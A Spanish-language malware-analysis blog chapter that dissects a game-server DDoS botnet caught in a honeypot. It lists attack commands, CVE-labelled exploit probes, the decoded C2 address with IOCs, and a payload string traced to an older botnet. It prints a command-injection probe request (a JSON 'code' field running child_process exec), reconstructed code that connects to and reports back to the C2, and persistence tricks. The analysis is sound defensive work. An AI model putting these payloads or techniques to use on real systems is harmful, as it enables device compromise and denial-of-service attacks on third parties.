KHserver · Capítulo 12
Nikki, te quieren
El binario llegó sin limpiar: su autor se dejó dentro los nombres de las seiscientas veintiocho funciones que escribió. Es como recibir un libro cerrado con el índice grapado en la portada. Aquí lo leo entero, función por función, hasta llegar a la única cadena que no encajaba con nada.
Cuando abro uno de estos, lo normal es empezar a ciegas: montañas de ensamblador, funciones llamadas FUN_00129e68, y horas de trabajo para averiguar cuál es la que importa.
Aquí no. Este venía sin limpiar — el compilador guardó los nombres que el autor le puso a cada función y nadie los borró antes de repartirlo. 628 funciones con su nombre de pila. Es como recibir un libro cerrado y que alguien haya dejado el índice grapado en la portada.
Leí el índice. Y no hizo falta más para saber a qué se dedica esto.
01El índice del libro
exploit_dasan_gpon cod_flood killer_loop exploit_huawei fortnite_flood watchdog_maintain exploit_draytek r6_flood scanner_loop exploit_totolink rust_flood report_exploit exploit_tplink vseattack findRandIP exploit_zte udp_amp_flood processCmd exploit_react2shell tls_hello_flood initConnection exploit_cve2025_34152 tcp_synack_flood table_init
Tres columnas y tres respuestas: a quién ataca, a quién intenta explotar y cómo se mantiene con vida. Vamos por orden, porque la segunda columna engaña.
02Esto se vende para tirar partidas
La función processCmd es la que interpreta lo que le manda su jefe. Por dentro es una lista larguísima de comparaciones contra palabras concretas: el menú de comandos del negocio.
UDP · CUDP · UDPBYPASS · STD · TCP · CTCP · SYN · ACK · TLS · PATCH
UDP_AMP · UDP_FRAG · UDP_ICMP · UDP_RAND · RESOURCE
TCP_SYNACK · TCP_ACKPSH · TCP_FRAG · TCP_OPT
OVHHEX · NFOHEX · VSE · CVSE · RUST · FORTNITE · COD · R6
SCANNER · TELNET · REP · ON · OFFLa primera mitad es el arsenal genérico de cualquier botnet: inundar con paquetes de una forma u otra. La segunda mitad es la que canta.
- FORTNITE · COD · R6 · RUST — métodos afinados para Fortnite, Call of Duty, Rainbow Six y Rust.
- VSE · CVSE — el Valve Source Engine: Counter-Strike, Team Fortress y compañía.
- OVHHEX · NFOHEX — OVH y NFOservers, los dos grandes alojadores de servidores de juego. Ambos presumen de protección contra ataques; aquí hay dos comandos dedicados a intentar sortearla.
Nadie escribe un comando llamado FORTNITE por casualidad. Esto no es una botnet genérica que alguien usa para lo que surja: es un servicio de denegación de servicio por encargo, apuntado a un cliente muy concreto — el que quiere que al rival se le caiga la partida. Paga, escribe COD 1.2.3.4 60, y sesenta segundos de la tarde de otro se van al garete.
03Quince exploits con apellido
La otra columna es un catálogo de vulnerabilidades, y tampoco hay que adivinarlas: el autor las etiquetó él mismo, casi todas con su número de CVE, en cadenas de texto que van dentro del binario.
D-Link_DSL_CVE-2016-20017 Totolink_CVE-2025-28137
Dasan_GPON_CVE-2018-10561 D-Link_CVE-2025-29635
TBK_DVR_CVE-2024-3721 Linksys_CVE-2025-9528
Four-Faith_CVE-2024-12856 CVE-2025-34152
ZTE_ZXV10_RCE React2Shell_CVE-2025-55182Nueve años de agujeros en el mismo fichero, de 2016 a 2025, y siete de ellos de los últimos dos años. Eso ya dice algo: esto no parece un kit descargado y olvidado, sino algo que alguien mantiene.
Dos me llamaron la atención. CVE-2025-34152 es una inyección de comandos sin autenticación en un repetidor wifi chino, con puntuación 9.4. Y la última me hizo enderezarme en la silla.
04El exploit que no era
React2Shell —CVE-2025-55182— es de lo más gordo que ha pasado en la web reciente: ejecución de código sin autenticar en React Server Components, puntuación 10 sobre 10, catálogo de vulnerabilidades explotadas de CISA, y medio internet parcheando a toda prisa. Encontrarlo dentro de un bot de routers es como abrir una caja de herramientas de fontanero y encontrarse un rifle de precisión.
Así que fui a leer la función. Aquí está entera, con el ensamblador a la izquierda y el código reconstruido a la derecha:

Y esto es lo único que manda:
POST /api/run HTTP/1.1
Host: %s
Content-Type: application/json
Content-Length: 50
{"code":"require('child_process').exec('id')"}Después busca la cadena uid= en la respuesta. Si la encuentra, canta victoria.
Eso no es React2Shell. La vulnerabilidad real es una deserialización insegura en el protocolo Flight, el que usa React para serializar sus componentes de servidor; explotarla exige construir un mensaje muy concreto contra un punto de entrada muy concreto. Lo que hace esta función es llamar a una puerta llamada /api/run y preguntar si hay alguien dispuesto a ejecutar lo que le manden. Es un sondeo genérico, de los de toda la vida, que existía mucho antes de que ese CVE tuviera número.
Y funciona: si me quedo en la lista de nombres y no abro la función, hoy estaría escribiendo que esta botnet explota un CVSS 10. Lo habría escrito de buena fe, y sería falso.
05Y entonces miré los otros catorce
Si uno mentía, tocaba comprobar el resto. Abrí exploit_dasan_gpon, el del CVE de 2018, que sí es un fallo real y de los más explotados del mundo. Y me encontré exactamente la misma función, calcada, cambiando solo el texto que envía:
fd = socket(AF_INET, SOCK_STREAM, 0); connect(fd, destino, 16); sprintf(peticion, PLANTILLA, ip); send(fd, peticion, strlen(peticion), 0); n = recv(fd, respuesta, 1023, 0); close(fd); return strstr(respuesta, "uid=") != NULL; // ← y aquí se acaba
Los quince son este mismo molde. Conectan, preguntan, miran si la respuesta trae uid=, cierran y devuelven verdadero o falso. Ninguno descarga nada. Ninguno instala nada. Ninguno infecta nada.
¿Y qué hacen con ese verdadero o falso? Esto — la función report_exploit al completo, una línea:
sockprintf(socket_del_C2, "REPORT EXPLOIT %s %s:%d", ...);Se lo chiva al jefe. Y ya está.
La botnet es, además de un arma de alquiler, una red de reconocimiento distribuida — pagada con el ancho de banda de sus víctimas, que además de sufrir el bicho exploran internet gratis para el dueño.
Su propagación real es la de siempre, la que me trajo a mí: fuerza bruta contra SSH y telnet con root/root. Lo antiguo sigue funcionando mejor que lo moderno.
06El jefe no vive donde yo creía
Todo apuntaba a 213.232.114[.]14, el servidor que reparte los binarios. Pero al arrancar, el bot no llama ahí. Y su dirección real no aparece en ninguna cadena de texto: está partida en cuatro números sueltos y solo se junta en el momento de conectar.
szprintf(destino, "%d.%d.%d.%d", tabla_a[i], tabla_b[i], tabla_c[i], tabla_d[i]); connectTimeout(sock, destino, 888, 30);
Fui a leer esas cuatro tablas en la memoria del programa. Dentro había 45, 95, 168 y 149. Y justo al lado, el puerto: 888.
El centro de mando es 45.95.168.149, puerto 888, alojado en Croacia. Y no lo tiene fichado nadie: cero denuncias en AbuseIPDB, desconocido para abuse.ch, seis motores de setenta y cinco en VirusTotal. Es la pieza más valiosa de todo el análisis y es, justamente, la que menos se ve.
Pero fíjate en ese [i]. El índice sube en cada intento de conexión y vuelve a cero al llegar a tres: el código está escrito para rotar entre cuatro servidores. Solo hay uno configurado.
Resultado: este bot tiene exactamente una oportunidad de encontrar a su jefe. Si el servidor está caído en ese momento, o la red parpadea, el aparato infectado se queda encendido llamando a puertas imposibles hasta que alguien lo desenchufe.
07Y entonces apareció Nikki
Con el análisis ya casi cerrado, repasando cadenas sueltas, me topé con una que no encajaba con nada. No era una petición, ni un comando, ni un mensaje de error. Estaba escrita carácter a carácter en hexadecimal, como si alguien no hubiera querido que saltara a la vista.
4E/x31/x6B/x4B/x31/x20/x21/x73/x69/x20/x4D/x33/x75/x79 ... → N1kK1 !si M3uy L0Vr3 <3 Pa2rCH M2 A44rCK
Leetspeak: las vocales cambiadas por números, una falta cada dos palabras, y un corazón en medio. «Nikki es mi amor ❤».
Y me quedé un rato mirándola, la verdad. Después de un día entero destripando una máquina hecha para amargarle la tarde a desconocidos, va y aparece esto. Alguien, en algún sitio, entre un comando con un insulto racial y una función para tumbar servidores de Fortnite, se paró a esconder el nombre de la persona que le gusta. Ya tenía hasta el final del capítulo pensado: el bot sigue dando vueltas por routers de gente que no sabe nada de esto, repitiendo en hexadecimal que Nikki es su amor.
Bonito. Y como tenía cinco minutos antes de escribirlo, hice lo que hago siempre antes de publicar cualquier cosa: buscar la cadena exacta, a ver si alguien la había visto antes.
Adiós al amor.
08Cinco años antes, y no es suya
La misma frase, letra por letra, está documentada en un análisis de diciembre de 2021. Otra botnet, SBIDIOT, atribuida a otra persona, cinco años antes de que la mía cayera en el cebo.
Y allí la frase no está escondida en ningún sitio: es la carga que envía el comando de ataque POXI. O sea, el contenido de los paquetes que la botnet dispara contra su objetivo.
Volví corriendo a mi binario a comprobar quién usaba la cadena. Esto es lo que dice Ghidra:
DATO 00021140 → '4E/x31/x6B/x4B/x31/x20/x21/x73/x69/x20...' usada por: UDPBYPASS ← una función de ataque
Lo mismo. No es una dedicatoria escondida: es munición. No está guardada para que nadie la encuentre — está para salir disparada, miles de veces por segundo, dentro de los paquetes que tumban a alguien.
Y el parentesco no se queda ahí. Compara los menús de comandos de las dos, con cinco años de diferencia:
SBIDIOT: R6 · FN · PUBG · 2K · ARK · BO4 · OVHHEX · NFOV6 · STD · POXI · RAW ... el mío: R6 · FORTNITE · COD · RUST · VSE · OVHHEX · NFOHEX · STD · PATCH ...
Mismos objetivos, mismos alojadores de servidores de juego, algunos comandos con el nombre idéntico. Es la misma estirpe. Lo que cayó en mi cebo no es una creación: es un descendiente, con exploits nuevos pegados encima y el mismo esqueleto de siempre.
Es decir: copió la nota de amor de otro — y la copió mal.
09Indicadores (IOCs)
| Tipo | Valor |
|---|---|
| Centro de mando (C2) | 45.95.168.149 : 888/TCP (MAXKO d.o.o., AS211619) — sin fichar en ningún repositorio |
| Protocolo del C2 | REPORT EXPLOIT %s %s:%d · REPORT TELNET %s:%s:%s:%d · SCANNER TELNET <ON|OFF> · «Telnet brute set to %s» |
| Comandos de ataque | UDP · CUDP · UDPBYPASS · STD · TCP · CTCP · SYN · ACK · TLS · PATCH · RESOURCE · UDP_AMP/FRAG/ICMP/RAND · TCP_SYNACK/ACKPSH/FRAG/OPT · OVHHEX · NFOHEX · VSE · CVSE · RUST · FORTNITE · COD · R6 |
| Exploits embarcados (sondas) | CVE-2016-20017 · CVE-2018-10561 · CVE-2024-3721 · CVE-2024-12856 · CVE-2025-28137 · CVE-2025-29635 · CVE-2025-9528 · CVE-2025-34152 · CVE-2025-55182 (falso) · ZTE ZXV10 · Huawei · DrayTek · TP-Link · ADB · DD-WRT |
| Marcas internas | KHserverHACKER · KHcommSOCK |
| Se hace pasar por | khugepaged · kthreadd · kworker · systemd · dbus-daemon |
| Persistencia | /dev/watchdog y /dev/watchdog2 · oom_score_adj (para que el núcleo no lo mate) |
| Compilado con | Aboriginal Linux (toolchain habitual de los kits de esta familia) |
| Carga de UDPBYPASS | «4E/x31/x6B/x4B/x31/x20…» — heredada de SBIDIOT (2021), donde era la carga del comando POXI |
Me quedo con la imagen de un router cualquiera, en el salón de alguien que no sabe nada de esto, llamando cada pocos segundos al puerto 888 de una máquina en Croacia para preguntar a quién le toca hoy.
Y cuando le toque, disparará miles de paquetes por segundo contra el servidor de alguien que solo quería jugar una partida. Dentro de cada uno de esos paquetes viajará una declaración de amor de hace cinco años, escrita por otra persona, para una Nikki que probablemente no sabe nada de nada — y que además, por culpa de unas barras puestas del revés, ni siquiera se lee.
Nikki, te quieren. Fatal, pero te quieren.
Continuará — el cebo sigue encendido. Cuando alguien llame a otra puerta de forma interesante, habrá decimotercer capítulo. 🍯
Comentarios